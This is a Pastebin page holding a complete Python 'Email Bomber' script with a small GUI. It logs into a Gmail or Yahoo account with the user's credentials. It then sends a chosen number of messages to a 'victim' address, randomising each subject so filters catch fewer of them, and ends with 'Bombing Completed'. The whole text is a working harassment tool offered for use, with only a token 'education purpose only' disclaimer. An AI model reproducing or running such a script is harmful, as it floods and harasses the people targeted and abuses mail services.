Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #coded by atulh4c
- #credits to aBi71
- #This code for education purpose only.
- #Use it at your own risk !!!
- import easygui as eg
- import os
- import smtplib
- import getpass
- import sys
- def getserver():
- msg = "Please enter the server name [gmail/yahoo]"
- title = "Python Bomber"
- server = eg.enterbox(msg,title)
- return server
- def getuemail():
- msg = "Please enter your email id"
- title = "Python Bomber"
- uemail = eg.enterbox(msg,title)
- return uemail
- def getupass():
- msg = "Please enter your password"
- title = "Python Bomber"
- pw = eg.passwordbox(msg,title)
- return pw
- def getvemail():
- msg = "Enter Victim's email id"
- title = "Python Bomber"
- vemail = eg.enterbox(msg,title)
- return vemail
- def getmessage():
- msg = "Enter message"
- title = "Python Bomber"
- message = eg.enterbox(msg,title)
- return message
- def getnum():
- msg = "How many times to bomb"
- title = "Python Bomber"
- num = eg.enterbox(msg,title)
- return num
- def getsubject():
- msg = "Enter the subject"
- title = "Python Bomber"
- subject = eg.enterbox(msg,title)
- return subject
- eg.msgbox(msg=" Python Email Bomber[Gui by #Atul v1]", ok_button="Go!")
- server = getserver()
- user = getuemail()
- passwd = getupass()
- to = getvemail()
- subject = getsubject()
- body = getmessage()
- total1 = getnum()
- total = int(total1)
- if server == 'gmail':
- smtp_server = 'smtp.gmail.com'
- port = 587
- elif server == 'yahoo':
- smtp_server = 'smtp.mail.yahoo.com'
- port = 25
- else:
- print 'Applies only to gmail and yahoo.'
- sys.exit()
- print ''
- try:
- server = smtplib.SMTP(smtp_server,port)
- server.ehlo()
- if smtp_server == "smtp.gmail.com":
- server.starttls()
- server.login(user,passwd)
- for i in range(1, total+1):
- subject = os.urandom(9)
- msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
- server.sendmail(user,to,msg)
- print "\rTotal emails sent: %i" % i
- sys.stdout.flush()
- server.quit()
- eg.msgbox(msg="Bombing Completed :-)", ok_button="Exit!")
- except KeyboardInterrupt:
- print '[-] Canceled'
- sys.exit()
- except smtplib.SMTPAuthenticationError:
- print '\n[!] The username or password you entered is incorrect.'
- sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement